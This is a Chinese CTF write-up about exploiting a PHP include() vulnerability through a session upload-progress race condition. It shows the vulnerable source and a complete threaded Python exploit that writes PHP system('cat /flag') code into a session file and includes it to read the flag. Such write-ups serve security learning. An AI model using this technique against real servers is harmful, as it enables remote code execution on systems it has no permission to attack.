session条件竞争
打开页面,看见源码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28
| <?php highlight_file('index.php'); error_reporting(0); $gwht= $_GET["gwht"]; $ycb= $_GET["ycb"]; if(preg_match("/flag/",$gwht)){ die('hack' ); } if(preg_match("/secret/",$gwht)){ die('hack' ); } include($gwht); if(isset($ycb)){ $url = parse_url($_SERVER['REQUEST_URI']); echo $url['query']; parse_str($url['query'],$query); foreach($query as $value){ echo $value; if (preg_match("/Flag/",$value)) { die('not hit'); exit(); } } echo serialize($ycb); }else{ echo "what are you doing"; } ?>
|
通过源码,我们可以看到有个include()函数可以给我们利用来读取文件,但它使用正则过滤,过滤掉了flag,所以我们可以使用data伪协议来构造php代码来读取,所以构造
1
| //?gwht=/var/lib/php5/sess_ph1
|
来读取目录信息,发现不行,经过本地测试发现是因为php默认allow_url_include=0,所以不可以使用data伪协议,但是我们可以使用session条件竞争来做,由于你上传的文件,会被服务器放在一个地方,然后进行判断文件是否有害,有害则被删除,但是如果时间太长的话,我们就可以利用这个时间间隙来访问文件,所以改了个exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| import io import requests import threading sessid = 'ph1' def t1(session): while True: f = io.BytesIO(b'a' * 1024 * 50) response = session.post( 'http://192.168.39.219:8000/', data={'PHP_SESSION_UPLOAD_PROGRESS': '<?php system("cat /flag");?>'}, files={'file': ('a.txt', f)}, cookies={'PHPSESSID': sessid} ) def t2(session): while True: response = session.get(f'http://192.168.39.219:8000//?gwht=/var/lib/php5/sess_{sessid}') print(response.text) with requests.session() as session: t1 = threading.Thread(target=t1, args=(session, )) t1.daemon = True t1.start()
t2(session)
|
如果用命令行看返回结果的话,有点麻烦,所以我们直接在页面,通过它给的include()函数来包含上传文件,所以构造
1
| //?gwht=/var/lib/php5/sess_ph1
|
然后不断刷新,来包含sess_ph1文件,从而读取flag